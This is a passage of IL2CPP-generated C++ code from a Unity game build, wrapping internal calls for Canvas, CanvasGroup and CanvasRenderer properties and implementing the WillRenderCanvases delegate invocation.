// System.Boolean UnityEngine.Canvas::get_overrideSorting()
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR bool Canvas_get_overrideSorting_m5C4295223733C2195D2B6CC69721B04376C3C67C (Canvas_tBC28BF1DD8D8499A89B5781505833D3728CF8591 * __this, const RuntimeMethod* method)
{
typedef bool (*Canvas_get_overrideSorting_m5C4295223733C2195D2B6CC69721B04376C3C67C_ftn) (Canvas_tBC28BF1DD8D8499A89B5781505833D3728CF8591 *);
static Canvas_get_overrideSorting_m5C4295223733C2195D2B6CC69721B04376C3C67C_ftn _il2cpp_icall_func;
if (!_il2cpp_icall_func)
_il2cpp_icall_func = (Canvas_get_overrideSorting_m5C4295223733C2195D2B6CC69721B04376C3C67C_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Canvas::get_overrideSorting()");
bool retVal = _il2cpp_icall_func(__this);
return retVal;
}
// System.Void UnityEngine.Canvas::set_overrideSorting(System.Boolean)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void Canvas_set_overrideSorting_m446842097ED576AB8706B9980E85AECC24C13015 (Canvas_tBC28BF1DD8D8499A89B5781505833D3728CF8591 * __this, bool ___value0, const RuntimeMethod* method)
{
typedef void (*Canvas_set_overrideSorting_m446842097ED576AB8706B9980E85AECC24C13015_ftn) (Canvas_tBC28BF1DD8D8499A89B5781505833D3728CF8591 *, bool);
static Canvas_set_overrideSorting_m446842097ED576AB8706B9980E85AECC24C13015_ftn _il2cpp_icall_func;
if (!_il2cpp_icall_func)
_il2cpp_icall_func = (Canvas_set_overrideSorting_m446842097ED576AB8706B9980E85AECC24C13015_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Canvas::set_overrideSorting(System.Boolean)");
_il2cpp_icall_func(__this, ___value0);
}
// System.Int32 UnityEngine.Canvas::get_sortingOrder()
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR int32_t Canvas_get_sortingOrder_mA3FC1159A6594B522A7B682F5792845E2DC7C540 (Canvas_tBC28BF1DD8D8499A89B5781505833D3728CF8591 * __this, const RuntimeMethod* method)
{
typedef int32_t (*Canvas_get_sortingOrder_mA3FC1159A6594B522A7B682F5792845E2DC7C540_ftn) (Canvas_tBC28BF1DD8D8499A89B5781505833D3728CF8591 *);
static Canvas_get_sortingOrder_mA3FC1159A6594B522A7B682F5792845E2DC7C540_ftn _il2cpp_icall_func;
if (!_il2cpp_icall_func)
_il2cpp_icall_func = (Canvas_get_sortingOrder_mA3FC1159A6594B522A7B682F5792845E2DC7C540_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Canvas::get_sortingOrder()");
int32_t retVal = _il2cpp_icall_func(__this);
return retVal;
}
// System.Void UnityEngine.Canvas::set_sortingOrder(System.Int32)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void Canvas_set_sortingOrder_m4387540EBDF2716DFAE26F27074DBF15F32382E7 (Canvas_tBC28BF1DD8D8499A89B5781505833D3728CF8591 * __this, int32_t ___value0, const RuntimeMethod* method)
{
typedef void (*Canvas_set_sortingOrder_m4387540EBDF2716DFAE26F27074DBF15F32382E7_ftn) (Canvas_tBC28BF1DD8D8499A89B5781505833D3728CF8591 *, int32_t);
static Canvas_set_sortingOrder_m4387540EBDF2716DFAE26F27074DBF15F32382E7_ftn _il2cpp_icall_func;
if (!_il2cpp_icall_func)
_il2cpp_icall_func = (Canvas_set_sortingOrder_m4387540EBDF2716DFAE26F27074DBF15F32382E7_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Canvas::set_sortingOrder(System.Int32)");
_il2cpp_icall_func(__this, ___value0);
}
// System.Int32 UnityEngine.Canvas::get_targetDisplay()
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR int32_t Canvas_get_targetDisplay_m80D9D93CA075084BDD3B05AF5F880698D7BB235D (Canvas_tBC28BF1DD8D8499A89B5781505833D3728CF8591 * __this, const RuntimeMethod* method)
{
typedef int32_t (*Canvas_get_targetDisplay_m80D9D93CA075084BDD3B05AF5F880698D7BB235D_ftn) (Canvas_tBC28BF1DD8D8499A89B5781505833D3728CF8591 *);
static Canvas_get_targetDisplay_m80D9D93CA075084BDD3B05AF5F880698D7BB235D_ftn _il2cpp_icall_func;
if (!_il2cpp_icall_func)
_il2cpp_icall_func = (Canvas_get_targetDisplay_m80D9D93CA075084BDD3B05AF5F880698D7BB235D_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Canvas::get_targetDisplay()");
int32_t retVal = _il2cpp_icall_func(__this);
return retVal;
}
// System.Int32 UnityEngine.Canvas::get_sortingLayerID()
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR int32_t Canvas_get_sortingLayerID_mD0EB8964D1C7E68F429F83B5C5AF58426D354C75 (Canvas_tBC28BF1DD8D8499A89B5781505833D3728CF8591 * __this, const RuntimeMethod* method)
{
typedef int32_t (*Canvas_get_sortingLayerID_mD0EB8964D1C7E68F429F83B5C5AF58426D354C75_ftn) (Canvas_tBC28BF1DD8D8499A89B5781505833D3728CF8591 *);
static Canvas_get_sortingLayerID_mD0EB8964D1C7E68F429F83B5C5AF58426D354C75_ftn _il2cpp_icall_func;
if (!_il2cpp_icall_func)
_il2cpp_icall_func = (Canvas_get_sortingLayerID_mD0EB8964D1C7E68F429F83B5C5AF58426D354C75_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Canvas::get_sortingLayerID()");
int32_t retVal = _il2cpp_icall_func(__this);
return retVal;
}
// System.Void UnityEngine.Canvas::set_sortingLayerID(System.Int32)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void Canvas_set_sortingLayerID_m9FE5A69A22DB3316964C9D5CD49E5B4352550747 (Canvas_tBC28BF1DD8D8499A89B5781505833D3728CF8591 * __this, int32_t ___value0, const RuntimeMethod* method)
{
typedef void (*Canvas_set_sortingLayerID_m9FE5A69A22DB3316964C9D5CD49E5B4352550747_ftn) (Canvas_tBC28BF1DD8D8499A89B5781505833D3728CF8591 *, int32_t);
static Canvas_set_sortingLayerID_m9FE5A69A22DB3316964C9D5CD49E5B4352550747_ftn _il2cpp_icall_func;
if (!_il2cpp_icall_func)
_il2cpp_icall_func = (Canvas_set_sortingLayerID_m9FE5A69A22DB3316964C9D5CD49E5B4352550747_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Canvas::set_sortingLayerID(System.Int32)");
_il2cpp_icall_func(__this, ___value0);
}
// UnityEngine.Canvas UnityEngine.Canvas::get_rootCanvas()
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR Canvas_tBC28BF1DD8D8499A89B5781505833D3728CF8591 * Canvas_get_rootCanvas_mFC5752C1955AF10E71AA6160A3A1880586116123 (Canvas_tBC28BF1DD8D8499A89B5781505833D3728CF8591 * __this, const RuntimeMethod* method)
{
typedef Canvas_tBC28BF1DD8D8499A89B5781505833D3728CF8591 * (*Canvas_get_rootCanvas_mFC5752C1955AF10E71AA6160A3A1880586116123_ftn) (Canvas_tBC28BF1DD8D8499A89B5781505833D3728CF8591 *);
static Canvas_get_rootCanvas_mFC5752C1955AF10E71AA6160A3A1880586116123_ftn _il2cpp_icall_func;
if (!_il2cpp_icall_func)
_il2cpp_icall_func = (Canvas_get_rootCanvas_mFC5752C1955AF10E71AA6160A3A1880586116123_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Canvas::get_rootCanvas()");
Canvas_tBC28BF1DD8D8499A89B5781505833D3728CF8591 * retVal = _il2cpp_icall_func(__this);
return retVal;
}
// UnityEngine.Camera UnityEngine.Canvas::get_worldCamera()
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR Camera_t48B2B9ECB3CE6108A98BF949A1CECF0FE3421F34 * Canvas_get_worldCamera_m36F1A8DBFC4AB34278125DA017CACDC873F53409 (Canvas_tBC28BF1DD8D8499A89B5781505833D3728CF8591 * __this, const RuntimeMethod* method)
{
typedef Camera_t48B2B9ECB3CE6108A98BF949A1CECF0FE3421F34 * (*Canvas_get_worldCamera_m36F1A8DBFC4AB34278125DA017CACDC873F53409_ftn) (Canvas_tBC28BF1DD8D8499A89B5781505833D3728CF8591 *);
static Canvas_get_worldCamera_m36F1A8DBFC4AB34278125DA017CACDC873F53409_ftn _il2cpp_icall_func;
if (!_il2cpp_icall_func)
_il2cpp_icall_func = (Canvas_get_worldCamera_m36F1A8DBFC4AB34278125DA017CACDC873F53409_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Canvas::get_worldCamera()");
Camera_t48B2B9ECB3CE6108A98BF949A1CECF0FE3421F34 * retVal = _il2cpp_icall_func(__this);
return retVal;
}
// UnityEngine.Material UnityEngine.Canvas::GetDefaultCanvasMaterial()
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR Material_tF7DB3BF0C24DEC2FE0CB51E5DF5053D5223C8598 * Canvas_GetDefaultCanvasMaterial_m972CD867F8C777A55C35A735ACE85BADC628233B (const RuntimeMethod* method)
{
typedef Material_tF7DB3BF0C24DEC2FE0CB51E5DF5053D5223C8598 * (*Canvas_GetDefaultCanvasMaterial_m972CD867F8C777A55C35A735ACE85BADC628233B_ftn) ();
static Canvas_GetDefaultCanvasMaterial_m972CD867F8C777A55C35A735ACE85BADC628233B_ftn _il2cpp_icall_func;
if (!_il2cpp_icall_func)
_il2cpp_icall_func = (Canvas_GetDefaultCanvasMaterial_m972CD867F8C777A55C35A735ACE85BADC628233B_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Canvas::GetDefaultCanvasMaterial()");
Material_tF7DB3BF0C24DEC2FE0CB51E5DF5053D5223C8598 * retVal = _il2cpp_icall_func();
return retVal;
}
// UnityEngine.Material UnityEngine.Canvas::GetETC1SupportedCanvasMaterial()
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR Material_tF7DB3BF0C24DEC2FE0CB51E5DF5053D5223C8598 * Canvas_GetETC1SupportedCanvasMaterial_m99A6CABFF2B919C2B84F703A8DAC64C76F5E2C52 (const RuntimeMethod* method)
{
typedef Material_tF7DB3BF0C24DEC2FE0CB51E5DF5053D5223C8598 * (*Canvas_GetETC1SupportedCanvasMaterial_m99A6CABFF2B919C2B84F703A8DAC64C76F5E2C52_ftn) ();
static Canvas_GetETC1SupportedCanvasMaterial_m99A6CABFF2B919C2B84F703A8DAC64C76F5E2C52_ftn _il2cpp_icall_func;
if (!_il2cpp_icall_func)
_il2cpp_icall_func = (Canvas_GetETC1SupportedCanvasMaterial_m99A6CABFF2B919C2B84F703A8DAC64C76F5E2C52_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Canvas::GetETC1SupportedCanvasMaterial()");
Material_tF7DB3BF0C24DEC2FE0CB51E5DF5053D5223C8598 * retVal = _il2cpp_icall_func();
return retVal;
}
// System.Void UnityEngine.Canvas::ForceUpdateCanvases()
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void Canvas_ForceUpdateCanvases_mB23FF44265E49BE388A79267533EA482F08C0755 (const RuntimeMethod* method)
{
{
Canvas_SendWillRenderCanvases_mD38081FE3172AC7A884B8ED459E90633167B2D10(/*hidden argument*/NULL);
return;
}
}
// System.Void UnityEngine.Canvas::SendWillRenderCanvases()
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void Canvas_SendWillRenderCanvases_mD38081FE3172AC7A884B8ED459E90633167B2D10 (const RuntimeMethod* method)
{
static bool s_Il2CppMethodInitialized;
if (!s_Il2CppMethodInitialized)
{
il2cpp_codegen_initialize_method (Canvas_SendWillRenderCanvases_mD38081FE3172AC7A884B8ED459E90633167B2D10_MetadataUsageId);
s_Il2CppMethodInitialized = true;
}
{
WillRenderCanvases_tBD5AD090B5938021DEAA679A5AEEA790F60A8BEE * L_0 = ((Canvas_tBC28BF1DD8D8499A89B5781505833D3728CF8591_StaticFields*)il2cpp_codegen_static_fields_for(Canvas_tBC28BF1DD8D8499A89B5781505833D3728CF8591_il2cpp_TypeInfo_var))->get_willRenderCanvases_4();
if (L_0)
{
goto IL_000d;
}
}
{
goto IL_0017;
}
IL_000d:
{
WillRenderCanvases_tBD5AD090B5938021DEAA679A5AEEA790F60A8BEE * L_1 = ((Canvas_tBC28BF1DD8D8499A89B5781505833D3728CF8591_StaticFields*)il2cpp_codegen_static_fields_for(Canvas_tBC28BF1DD8D8499A89B5781505833D3728CF8591_il2cpp_TypeInfo_var))->get_willRenderCanvases_4();
NullCheck(L_1);
WillRenderCanvases_Invoke_m115F44E08A802F1800D79D3B92EE1A575AD08834(L_1, /*hidden argument*/NULL);
}
IL_0017:
{
return;
}
}
#ifdef __clang__
#pragma clang diagnostic pop
#endif
#ifdef __clang__
#pragma clang diagnostic push
#pragma clang diagnostic ignored "-Winvalid-offsetof"
#pragma clang diagnostic ignored "-Wunused-variable"
#endif
IL2CPP_EXTERN_C void DelegatePInvokeWrapper_WillRenderCanvases_tBD5AD090B5938021DEAA679A5AEEA790F60A8BEE (WillRenderCanvases_tBD5AD090B5938021DEAA679A5AEEA790F60A8BEE * __this, const RuntimeMethod* method)
{
typedef void (DEFAULT_CALL *PInvokeFunc)();
PInvokeFunc il2cppPInvokeFunc = reinterpret_cast<PInvokeFunc>(il2cpp_codegen_get_method_pointer(((RuntimeDelegate*)__this)->method));
// Native function invocation
il2cppPInvokeFunc();
}
// System.Void UnityEngine.Canvas_WillRenderCanvases::.ctor(System.Object,System.IntPtr)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void WillRenderCanvases__ctor_m9AB0D8B934BE573C4B3ABBAA313984B054B4B885 (WillRenderCanvases_tBD5AD090B5938021DEAA679A5AEEA790F60A8BEE * __this, RuntimeObject * ___object0, intptr_t ___method1, const RuntimeMethod* method)
{
__this->set_method_ptr_0(il2cpp_codegen_get_method_pointer((RuntimeMethod*)___method1));
__this->set_method_3(___method1);
__this->set_m_target_2(___object0);
}
// System.Void UnityEngine.Canvas_WillRenderCanvases::Invoke()
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void WillRenderCanvases_Invoke_m115F44E08A802F1800D79D3B92EE1A575AD08834 (WillRenderCanvases_tBD5AD090B5938021DEAA679A5AEEA790F60A8BEE * __this, const RuntimeMethod* method)
{
DelegateU5BU5D_tDFCDEE2A6322F96C0FE49AF47E9ADB8C4B294E86* delegateArrayToInvoke = __this->get_delegates_11();
Delegate_t** delegatesToInvoke;
il2cpp_array_size_t length;
if (delegateArrayToInvoke != NULL)
{
length = delegateArrayToInvoke->max_length;
delegatesToInvoke = reinterpret_cast<Delegate_t**>(delegateArrayToInvoke->GetAddressAtUnchecked(0));
}
else
{
length = 1;
delegatesToInvoke = reinterpret_cast<Delegate_t**>(&__this);
}
for (il2cpp_array_size_t i = 0; i < length; i++)
{
Delegate_t* currentDelegate = delegatesToInvoke[i];
Il2CppMethodPointer targetMethodPointer = currentDelegate->get_method_ptr_0();
RuntimeObject* targetThis = currentDelegate->get_m_target_2();
RuntimeMethod* targetMethod = (RuntimeMethod*)(currentDelegate->get_method_3());
if (!il2cpp_codegen_method_is_virtual(targetMethod))
{
il2cpp_codegen_raise_execution_engine_exception_if_method_is_not_found(targetMethod);
}
bool ___methodIsStatic = MethodIsStatic(targetMethod);
int ___parameterCount = il2cpp_codegen_method_parameter_count(targetMethod);
if (___methodIsStatic)
{
if (___parameterCount == 0)
{
// open
typedef void (*FunctionPointerType) (const RuntimeMethod*);
((FunctionPointerType)targetMethodPointer)(targetMethod);
}
else
{
// closed
typedef void (*FunctionPointerType) (void*, const RuntimeMethod*);
((FunctionPointerType)targetMethodPointer)(targetThis, targetMethod);
}
}
else
{
// closed
if (il2cpp_codegen_method_is_virtual(targetMethod) && !il2cpp_codegen_object_is_of_sealed_type(targetThis) && il2cpp_codegen_delegate_has_invoker((Il2CppDelegate*)__this))
{
if (il2cpp_codegen_method_is_generic_instance(targetMethod))
{
if (il2cpp_codegen_method_is_interface_method(targetMethod))
GenericInterfaceActionInvoker0::Invoke(targetMethod, targetThis);
else
GenericVirtActionInvoker0::Invoke(targetMethod, targetThis);
}
else
{
if (il2cpp_codegen_method_is_interface_method(targetMethod))
InterfaceActionInvoker0::Invoke(il2cpp_codegen_method_get_slot(targetMethod), il2cpp_codegen_method_get_declaring_type(targetMethod), targetThis);
else
VirtActionInvoker0::Invoke(il2cpp_codegen_method_get_slot(targetMethod), targetThis);
}
}
else
{
typedef void (*FunctionPointerType) (void*, const RuntimeMethod*);
((FunctionPointerType)targetMethodPointer)(targetThis, targetMethod);
}
}
}
}
// System.IAsyncResult UnityEngine.Canvas_WillRenderCanvases::BeginInvoke(System.AsyncCallback,System.Object)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR RuntimeObject* WillRenderCanvases_BeginInvoke_mEFF75BC062DE3E7888B23BE447DD9CBDF9F307F3 (WillRenderCanvases_tBD5AD090B5938021DEAA679A5AEEA790F60A8BEE * __this, AsyncCallback_t3F3DA3BEDAEE81DD1D24125DF8EB30E85EE14DA4 * ___callback0, RuntimeObject * ___object1, const RuntimeMethod* method)
{
void *__d_args[1] = {0};
return (RuntimeObject*)il2cpp_codegen_delegate_begin_invoke((RuntimeDelegate*)__this, __d_args, (RuntimeDelegate*)___callback0, (RuntimeObject*)___object1);
}
// System.Void UnityEngine.Canvas_WillRenderCanvases::EndInvoke(System.IAsyncResult)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void WillRenderCanvases_EndInvoke_mD86D55F1B1B76055B8992CE306C56BFDA735B935 (WillRenderCanvases_tBD5AD090B5938021DEAA679A5AEEA790F60A8BEE * __this, RuntimeObject* ___result0, const RuntimeMethod* method)
{
il2cpp_codegen_delegate_end_invoke((Il2CppAsyncResult*) ___result0, 0);
}
#ifdef __clang__
#pragma clang diagnostic pop
#endif
#ifdef __clang__
#pragma clang diagnostic push
#pragma clang diagnostic ignored "-Winvalid-offsetof"
#pragma clang diagnostic ignored "-Wunused-variable"
#endif
// System.Single UnityEngine.CanvasGroup::get_alpha()
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR float CanvasGroup_get_alpha_mF6AFB387E643765758F1461369A65F59BA06D26E (CanvasGroup_tE2C664C60990D1DCCEE0CC6545CC3E80369C7F90 * __this, const RuntimeMethod* method)
{
typedef float (*CanvasGroup_get_alpha_mF6AFB387E643765758F1461369A65F59BA06D26E_ftn) (CanvasGroup_tE2C664C60990D1DCCEE0CC6545CC3E80369C7F90 *);
static CanvasGroup_get_alpha_mF6AFB387E643765758F1461369A65F59BA06D26E_ftn _il2cpp_icall_func;
if (!_il2cpp_icall_func)
_il2cpp_icall_func = (CanvasGroup_get_alpha_mF6AFB387E643765758F1461369A65F59BA06D26E_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.CanvasGroup::get_alpha()");
float retVal = _il2cpp_icall_func(__this);
return retVal;
}
// System.Void UnityEngine.CanvasGroup::set_alpha(System.Single)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void CanvasGroup_set_alpha_m7E3C4DCD13E6B1FD43C797EFF9698BACA1FBEC3D (CanvasGroup_tE2C664C60990D1DCCEE0CC6545CC3E80369C7F90 * __this, float ___value0, const RuntimeMethod* method)
{
typedef void (*CanvasGroup_set_alpha_m7E3C4DCD13E6B1FD43C797EFF9698BACA1FBEC3D_ftn) (CanvasGroup_tE2C664C60990D1DCCEE0CC6545CC3E80369C7F90 *, float);
static CanvasGroup_set_alpha_m7E3C4DCD13E6B1FD43C797EFF9698BACA1FBEC3D_ftn _il2cpp_icall_func;
if (!_il2cpp_icall_func)
_il2cpp_icall_func = (CanvasGroup_set_alpha_m7E3C4DCD13E6B1FD43C797EFF9698BACA1FBEC3D_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.CanvasGroup::set_alpha(System.Single)");
_il2cpp_icall_func(__this, ___value0);
}
// System.Boolean UnityEngine.CanvasGroup::get_interactable()
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR bool CanvasGroup_get_interactable_mC5CE48DEFFC97EFEC794DB695E3C906736483BA1 (CanvasGroup_tE2C664C60990D1DCCEE0CC6545CC3E80369C7F90 * __this, const RuntimeMethod* method)
{
typedef bool (*CanvasGroup_get_interactable_mC5CE48DEFFC97EFEC794DB695E3C906736483BA1_ftn) (CanvasGroup_tE2C664C60990D1DCCEE0CC6545CC3E80369C7F90 *);
static CanvasGroup_get_interactable_mC5CE48DEFFC97EFEC794DB695E3C906736483BA1_ftn _il2cpp_icall_func;
if (!_il2cpp_icall_func)
_il2cpp_icall_func = (CanvasGroup_get_interactable_mC5CE48DEFFC97EFEC794DB695E3C906736483BA1_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.CanvasGroup::get_interactable()");
bool retVal = _il2cpp_icall_func(__this);
return retVal;
}
// System.Boolean UnityEngine.CanvasGroup::get_blocksRaycasts()
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR bool CanvasGroup_get_blocksRaycasts_m3792CE490F35260A673C28FD29BF4B2814833DDA (CanvasGroup_tE2C664C60990D1DCCEE0CC6545CC3E80369C7F90 * __this, const RuntimeMethod* method)
{
typedef bool (*CanvasGroup_get_blocksRaycasts_m3792CE490F35260A673C28FD29BF4B2814833DDA_ftn) (CanvasGroup_tE2C664C60990D1DCCEE0CC6545CC3E80369C7F90 *);
static CanvasGroup_get_blocksRaycasts_m3792CE490F35260A673C28FD29BF4B2814833DDA_ftn _il2cpp_icall_func;
if (!_il2cpp_icall_func)
_il2cpp_icall_func = (CanvasGroup_get_blocksRaycasts_m3792CE490F35260A673C28FD29BF4B2814833DDA_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.CanvasGroup::get_blocksRaycasts()");
bool retVal = _il2cpp_icall_func(__this);
return retVal;
}
// System.Boolean UnityEngine.CanvasGroup::get_ignoreParentGroups()
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR bool CanvasGroup_get_ignoreParentGroups_mD37DD35C1B20CC9750AA6CC442C00E5731157918 (CanvasGroup_tE2C664C60990D1DCCEE0CC6545CC3E80369C7F90 * __this, const RuntimeMethod* method)
{
typedef bool (*CanvasGroup_get_ignoreParentGroups_mD37DD35C1B20CC9750AA6CC442C00E5731157918_ftn) (CanvasGroup_tE2C664C60990D1DCCEE0CC6545CC3E80369C7F90 *);
static CanvasGroup_get_ignoreParentGroups_mD37DD35C1B20CC9750AA6CC442C00E5731157918_ftn _il2cpp_icall_func;
if (!_il2cpp_icall_func)
_il2cpp_icall_func = (CanvasGroup_get_ignoreParentGroups_mD37DD35C1B20CC9750AA6CC442C00E5731157918_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.CanvasGroup::get_ignoreParentGroups()");
bool retVal = _il2cpp_icall_func(__this);
return retVal;
}
// System.Boolean UnityEngine.CanvasGroup::IsRaycastLocationValid(UnityEngine.Vector2,UnityEngine.Camera)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR bool CanvasGroup_IsRaycastLocationValid_m21C6A4F645CDD52E57D6CDBD0963E3594081782A (CanvasGroup_tE2C664C60990D1DCCEE0CC6545CC3E80369C7F90 * __this, Vector2_tA85D2DD88578276CA8A8796756458277E72D073D ___sp0, Camera_t48B2B9ECB3CE6108A98BF949A1CECF0FE3421F34 * ___eventCamera1, const RuntimeMethod* method)
{
bool V_0 = false;
{
bool L_0 = CanvasGroup_get_blocksRaycasts_m3792CE490F35260A673C28FD29BF4B2814833DDA(__this, /*hidden argument*/NULL);
V_0 = L_0;
goto IL_000d;
}
IL_000d:
{
bool L_1 = V_0;
return L_1;
}
}
#ifdef __clang__
#pragma clang diagnostic pop
#endif
#ifdef __clang__
#pragma clang diagnostic push
#pragma clang diagnostic ignored "-Winvalid-offsetof"
#pragma clang diagnostic ignored "-Wunused-variable"
#endif
// System.Void UnityEngine.CanvasRenderer::set_hasPopInstruction(System.Boolean)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void CanvasRenderer_set_hasPopInstruction_m3432A1568931473F691261A90D82AFD4063E27E5 (CanvasRenderer_tB4D9C9FE77FD5C9C4546FC022D6E956960BC2B72 * __this, bool ___value0, const RuntimeMethod* method)
{
typedef void (*CanvasRenderer_set_hasPopInstruction_m3432A1568931473F691261A90D82AFD4063E27E5_ftn) (CanvasRenderer_tB4D9C9FE77FD5C9C4546FC022D6E956960BC2B72 *, bool);
static CanvasRenderer_set_hasPopInstruction_m3432A1568931473F691261A90D82AFD4063E27E5_ftn _il2cpp_icall_func;
if (!_il2cpp_icall_func)
_il2cpp_icall_func = (CanvasRenderer_set_hasPopInstruction_m3432A1568931473F691261A90D82AFD4063E27E5_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.CanvasRenderer::set_hasPopInstruction(System.Boolean)");
_il2cpp_icall_func(__this, ___value0);
}
// System.Int32 UnityEngine.CanvasRenderer::get_materialCount()
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR int32_t CanvasRenderer_get_materialCount_m5C0C1E7CC3DAE4B14E29A36E9890F92C0DACC3F5 (CanvasRenderer_tB4D9C9FE77FD5C9C4546FC022D6E956960BC2B72 * __this, const RuntimeMethod* method)
{
typedef int32_t (*CanvasRenderer_get_materialCount_m5C0C1E7CC3DAE4B14E29A36E9890F92C0DACC3F5_ftn) (CanvasRenderer_tB4D9C9FE77FD5C9C4546FC022D6E956960BC2B72 *);
static CanvasRenderer_get_materialCount_m5C0C1E7CC3DAE4B14E29A36E9890F92C0DACC3F5_ftn _il2cpp_icall_func;
if (!_il2cpp_icall_func)
_il2cpp_icall_func = (CanvasRenderer_get_materialCount_m5C0C1E7CC3DAE4B14E29A36E9890F92C0DACC3F5_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.CanvasRenderer::get_materialCount()");
int32_t retVal = _il2cpp_icall_func(__this);
return retVal;
}
// System.Void UnityEngine.CanvasRenderer::set_materialCount(System.Int32)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void CanvasRenderer_set_materialCount_m124AD7592DD6078E097C9FD6CBC5676341DBCA9E (CanvasRenderer_tB4D9C9FE77FD5C9C4546FC022D6E956960BC2B72 * __this, int32_t ___value0, const RuntimeMethod* method)
{
typedef void (*CanvasRenderer_set_materialCount_m124AD7592DD6078E097C9FD6CBC5676341DBCA9E_ftn) (CanvasRenderer_tB4D9C9FE77FD5C9C4546FC022D6E956960BC2B72 *, int32_t);
static CanvasRenderer_set_materialCount_m124AD7592DD6078E097C9FD6CBC5676341DBCA9E_ftn _il2cpp_icall_func;
if (!_il2cpp_icall_func)
_il2cpp_icall_func = (CanvasRenderer_set_materialCount_m124AD7592DD6078E097C9FD6CBC5676341DBCA9E_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.CanvasRenderer::set_materialCount(System.Int32)");
_il2cpp_icall_func(__this, ___value0);
}
// System.Void UnityEngine.CanvasRenderer::set_popMaterialCount(System.Int32)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void CanvasRenderer_set_popMaterialCount_m238C5CF7919510F3A9FE70AC502D9C3F0C2BFE6A (CanvasRenderer_tB4D9C9FE77FD5C9C4546FC022D6E956960BC2B72 * __this, int32_t ___value0, const RuntimeMethod* method)
{
typedef void (*CanvasRenderer_set_popMaterialCount_m238C5CF7919510F3A9FE70AC502D9C3F0C2BFE6A_ftn) (CanvasRenderer_tB4D9C9FE77FD5C9C4546FC022D6E956960BC2B72 *, int32_t);
static CanvasRenderer_set_popMaterialCount_m238C5CF7919510F3A9FE70AC502D9C3F0C2BFE6A_ftn _il2cpp_icall_func;
if (!_il2cpp_icall_func)
_il2cpp_icall_func = (CanvasRenderer_set_popMaterialCount_m238C5CF7919510F3A9FE70AC502D9C3F0C2BFE6A_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.CanvasRenderer::set_popMaterialCount(System.Int32)");
_il2cpp_icall_func(__this, ___value0);
}
// System.Int32 UnityEngine.CanvasRenderer::get_absoluteDepth()
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR int32_t CanvasRenderer_get_absoluteDepth_mCE62152F19926BC6A2864E23E5070641E18A27E7 (CanvasRenderer_tB4D9C9FE77FD5C9C4546FC022D6E956960BC2B72 * __this, const RuntimeMethod* method)
{
typedef int32_t (*CanvasRenderer_get_absoluteDepth_mCE62152F19926BC6A2864E23E5070641E18A27E7_ftn) (CanvasRenderer_tB4D9C9FE77FD5C9C4546FC022D6E956960BC2B72 *);
static CanvasRenderer_get_absoluteDepth_mCE62152F19926BC6A2864E23E5070641E18A27E7_ftn _il2cpp_icall_func;
if (!_il2cpp_icall_func)
_il2cpp_icall_func = (CanvasRenderer_get_absoluteDepth_mCE62152F19926BC6A2864E23E5070641E18A27E7_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.CanvasRenderer::get_absoluteDepth()");
int32_t retVal = _il2cpp_icall_func(__this);
return retVal;
}
// System.Boolean UnityEngine.CanvasRenderer::get_hasMoved()
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR bool CanvasRenderer_get_hasMoved_m169212ADE7843C5721D2D4ED3567AB8299B6F073 (CanvasRenderer_tB4D9C9FE77FD5C9C4546FC022D6E956960BC2B72 * __this, const RuntimeMethod* method)
{
typedef bool (*CanvasRenderer_get_hasMoved_m169212ADE7843C5721D2D4ED3567AB8299B6F073_ftn) (CanvasRenderer_tB4D9C9FE77FD5C9C4546FC022D6E956960BC2B72 *);
static CanvasRenderer_get_hasMoved_m169212ADE7843C5721D2D4ED3567AB8299B6F073_ftn _il2cpp_icall_func;
if (!_il2cpp_icall_func)
_il2cpp_icall_func = (CanvasRenderer_get_hasMoved_m169212ADE7843C5721D2D4ED3567AB8299B6F073_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.CanvasRenderer::get_hasMoved()");
bool retVal = _il2cpp_icall_func(__this);
return retVal;
}
// System.Boolean UnityEngine.CanvasRenderer::get_cull()
